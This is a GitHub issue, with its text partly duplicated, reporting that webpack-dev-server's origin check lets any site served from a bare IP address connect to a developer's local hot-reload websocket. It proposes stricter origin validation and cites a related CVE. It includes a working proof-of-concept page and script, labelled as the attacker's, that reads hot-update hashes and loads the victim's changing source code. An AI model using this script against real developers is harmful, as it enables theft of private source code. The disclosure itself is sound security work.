You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
No remote application opened in a browser should be able to connect to the local websocket server with new WebSocket(). Only localhost, this.hostname, this.publicHost, etc should.
Actual Behavior
If a developer visits a site/app (without domain, just an IP address), this site/app could contain some JS code that connects to the local websocket server to listen for changes, obtain the hash of the hot update, get the update etc, basically what is described in https://www.npmjs.com/advisories/725.
The origin check will pass because the checkHost method contains this:
and this method is used to check the origin as well.
It was decided that all IP's are OK in the host header in #1007 because they are not vulnerable to DNS rebind attacks etc. It allows people to have development setups in a LAN, let other people check their code running in the dev server etc. (which is useful, and a nice feature) WITHOUT specifying the public option, just the host: '0.0.0.0' option. This is actually another problem.
For Bugs; How can we reproduce the behavior?
This is how any website not using a domain name can connect to your local websocket server:
Take any remote machine xxx.xxx.xxx.xxx. Serve the following:
<!-- index.html --><html><body><p>Hello im the attacker !</p><scriptsrc="./index.js"></script></body></html>
// index.jswindow.webpackHotUpdate=(...args)=>{console.log(...args);for(iinargs[1]){document.body.innerText=args[1][i].toString()+document.body.innerTextconsole.log(args[1][i])}}letparams=newURLSearchParams(window.location.search);lettarget=newURL(params.get('target')||'http://127.0.0.1:8080');letwsProtocol=target.protocol==='http:' ? 'ws' : 'wss';letwsPort=target.port;varcurrentHash='';letwsTarget=`${wsProtocol}://${target.hostname}:${wsPort}/sockjs-node/123/456/websocket`;ws=newWebSocket(wsTarget);ws.onmessage=event=>{console.log(event);if(event.data.match('hash')){s=document.createElement('script');s.src=`${target}main.${currentHash}.hot-update.js`;document.body.appendChild(s)r=event.data.match(/"([0-9a-f]{20})\\"/);// This will actually be the hash for the next updatecurrentHash=r[1];}}
Then have webpack-dev-server + HMR running some application of your own locally.
Visit xxx.xxx.xxx.xxx
Make a few changes to your application. You will see the changes on xxx.xxx.xxx.xxx.
The solution and the problem
I've already implemented some solutions to this, I can submit a PR but I need feedback before.
There would be a new method checkOrigin that does this task. Or even better keep checkHost for everything but remove the automatic validation of any IP introduced in #1007 ! (which actually solves two problems).
Nothing changes. They will have a tiny bit of extra security.
If someone is using several computers on a LAN or showing people in their LAN their dev server
They would have to look for their private IP, e.g. 10.0.0.10 or 192.168.0.100 and put it in the public option, like it was intented from the beginning.
If webpack-dev-server is running on mydevmachine.dev
The public option should already be set so no problem. This issue is only about IP addresses.
Some other complex setup with proxies, redirects, etc:
I haven't thought about everything, but the PR shouldn't break things. It might even help !
Hello 😄 !!! This issue is intended to build on top of #1603
Code
Just check https://github.com/webpack/webpack-dev-server/blob/v3.1.14/lib/Server.js, especially the
checkHost
method and this snippet:webpack-dev-server/lib/Server.js
Lines 751 to 757 in 4b7a828
Expected Behavior
No remote application opened in a browser should be able to connect to the local websocket server with
new WebSocket()
. Onlylocalhost
,this.hostname
,this.publicHost
, etc should.Actual Behavior
If a developer visits a site/app (without domain, just an IP address), this site/app could contain some JS code that connects to the local websocket server to listen for changes, obtain the hash of the hot update, get the update etc, basically what is described in https://www.npmjs.com/advisories/725.
The origin check will pass because the
checkHost
method contains this:webpack-dev-server/lib/Server.js
Lines 677 to 679 in 178e6cc
and this method is used to check the origin as well.
It was decided that all IP's are OK in the host header in #1007 because they are not vulnerable to DNS rebind attacks etc. It allows people to have development setups in a LAN, let other people check their code running in the dev server etc. (which is useful, and a nice feature) WITHOUT specifying the
public
option, just thehost: '0.0.0.0'
option. This is actually another problem.For Bugs; How can we reproduce the behavior?
This is how any website not using a domain name can connect to your local websocket server:
Take any remote machine xxx.xxx.xxx.xxx. Serve the following:
The solution and the problem
I've already implemented some solutions to this, I can submit a PR but I need feedback before.
There would be a new method
checkOrigin
that does this task. Or even better keepcheckHost
for everything but remove the automatic validation of any IP introduced in #1007 ! (which actually solves two problems).This will make people use the
public
option, since right now, having ONLYhost: '0.0.0.0'
is enough to serve externally (if accessing with an IP). This comment by @sokra (here #882 (comment)) suggests it is bad usage and the docs indicate thepublic
option should be used: https://github.com/webpack/webpack-dev-server/blob/master/examples/cli/public/README.mdTo summarise, in case of a PR being merged:
If someone is just using localhost to develop
Nothing changes. They will have a tiny bit of extra security.
If someone is using several computers on a LAN or showing people in their LAN their dev server
They would have to look for their private IP, e.g.
10.0.0.10
or192.168.0.100
and put it in thepublic
option, like it was intented from the beginning.If webpack-dev-server is running on
mydevmachine.dev
The public option should already be set so no problem. This issue is only about IP addresses.
Some other complex setup with proxies, redirects, etc:
I haven't thought about everything, but the PR shouldn't break things. It might even help !
Related links:
https://nvd.nist.gov/vuln/detail/CVE-2018-14732
https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages
The text was updated successfully, but these errors were encountered: